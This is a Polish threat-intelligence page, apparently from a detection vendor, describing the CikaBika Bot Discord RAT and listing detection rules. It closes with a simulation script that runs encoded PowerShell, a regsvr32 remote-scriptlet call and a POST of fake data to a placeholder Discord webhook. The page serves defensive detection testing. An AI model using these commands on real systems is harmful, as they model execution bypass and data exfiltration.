Analiza CikaBika Bot: Jak Operuje Discord RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Podsumowanie
CikaBika Bot to trojan zdalnego dostępu oparty na języku Rust, rozprzestrzeniany za pomocą phishingowych wabików, takich jak złośliwe pliki LNK i dokumenty PDF. Złośliwe oprogramowanie używa ładującego opartego na języku Nim, aby uruchomić obejście kontroli UAC w PowerShell i przeprowadzić oszustwo kolejności wyszukiwania DLL przeciwko Microsoft Edge. Wykorzystuje Discord jako platformę dowodzenia i kontroli do zarządzania zainfekowanymi systemami i wykonywania szeregu złośliwych poleceń.
Analiza
Badacze z Darktrace przeanalizowali łańcuch infekcji zaczynający się od obrazu dysku zawierającego złośliwy skrót i przynętowy PDF. Dochodzenie prześledziło ładunek od tymczasowego pliku tekstowego do przejętej DLL umieszczonej w katalogu aplikacji Microsoft Edge. Badacze zaobserwowali również, że RAT używa Discord do rozpoznania i korzysta z ngrok do eksfiltracji danych.
Zabezpieczenie
Organizacje powinny wprowadzić ścisłe kontrole nad wykonywaniem plików LNK i obrazów dysków uzyskanych z niezweryfikowanych źródeł. Wzmocnienie ustawień kontroli konta użytkownika (UAC) oraz monitorowanie nieautoryzowanych zmian rejestru dotyczących komend powłoki HKLM/HKCU mogą pomóc w zapobieganiu próbom obejścia. Zespoły bezpieczeństwa powinny również zwracać uwagę na nietypowe procesy potomne Microsoft Edge oraz nieautoryzowane użycie Discord lub ngrok.
Reakcja
Kiedy wykryta zostanie aktywność CikaBika Bot, należy odizolować zainfekowane punkty końcowe od sieci, aby przerwać kanał C2 Discord. Przeprowadź analizę sądową %TEMP% katalogu i ścieżek instalacji Microsoft Edge, aby zidentyfikować złośliwy dbghelp.dll. Przejrzyj telemetrię sieciową pod kątem podejrzanych połączeń z ipify.com lub ngrok, aby ocenić potencjalny zakres eksfiltracji danych.
Przepływ ataku
Ciągle aktualizujemy tę część.
Detekcje
Możliwy złośliwy plik LNK z podwójnym rozszerzeniem (za pomocą cmdline)
Wywołanie podejrzanych klas/metod .NET z linii poleceń PowerShell (za pomocą process_creation)
Podejrzane użycie CURL (za pomocą cmdline)
Wywołanie podejrzanych metod .NET z PowerShell (za pomocą powershell)
Wywołanie podejrzanych funkcji API Windows z PowerShell (za pomocą powershell)
Możliwe wskaźniki obfuskacji PowerShell (za pomocą powershell)
Możliwa usługa tunelowania portów (za pomocą DNS)
IOC (HashMd5) do wykrycia: CikaBika Bot: We wnętrzu Discord RAT
PowerShell i Regsvr32 wykonane do eksfiltracji danych przez Discord [Windows PowerShell]
Wykonanie dekodowanego ładunku RAT i rozpoznania procesów [Windows Process Creation]
Wykonanie symulacji
-
Narracja ataku & Komendy: Adwersarz uzyskał początkowy dostęp. Aby uniknąć wykrycia, próbuje uruchomić ładunek za pomocą zakodowanego polecenia PowerShell. Łańcuch poleceń zawiera fikcyjny komentarz „PowerShell UAC bypass”, aby wywołać specyficzną logikę reguły. Następnie przeciwnik próbuje użyć
regsvr32.exedo wykonania zdalnego skryptletu (simulowanego za pomocą lokalnego pliku, aby uniknąć szumów sieciowych podczas testowania). W końcu przeciwnik symuluje eksfiltrację danych, wysyłając fikcyjne żądanie POST do URL webhooka Discord za pomocą PowerShell. -
Skrypt testu regresji:
# Skrypt symulacji: naśladujący eksfiltrację Discord w stylu Cikabika Write-Host "[+] Rozpoczęcie symulacji..." # 1. Symuluj warunki 'selection_uac_bypass' i 'selection_powershell_encoded' # Polecenie zawiera dosłowny łańcuch 'PowerShell UAC bypass' i używa '-enc' $command = "Write-Output 'Złośliwy ładunek'; # PowerShell UAC bypass" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) Write-Host "[+] Wykonywanie zakodowanego PowerShell z łańcuchem obejścia..." powershell.exe -enc $encodedCommand # 2. Symuluj 'selection_regsvr32' # To wyzwala drugą połowę warunku 'AND' w regule Write-Host "[+] Wykonywanie Regsvr32..." regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll # 3. Symuluj 'selection_discord_exfil' # To zapewnia alternatywną ścieżkę dla drugiej połowy warunku 'AND' Write-Host "[+] Symulacja eksfiltracji Discord..." $discordWebhook = "https://discord.com/api/webhooks/test/12345" powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'" Write-Host "[+] Symulacja zakończona." -
Polecenia oczyszczania:
# Oczyszczanie: usuń wszystkie tymczasowe pliki utworzone podczas symulacji (jeśli takie istnieją). # W tej konkretnej symulacji nie zapisano żadnych plików na dysku, # ale zapewniamy, że drzewo procesów jest czyste. Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] Oczyszczanie zakończone."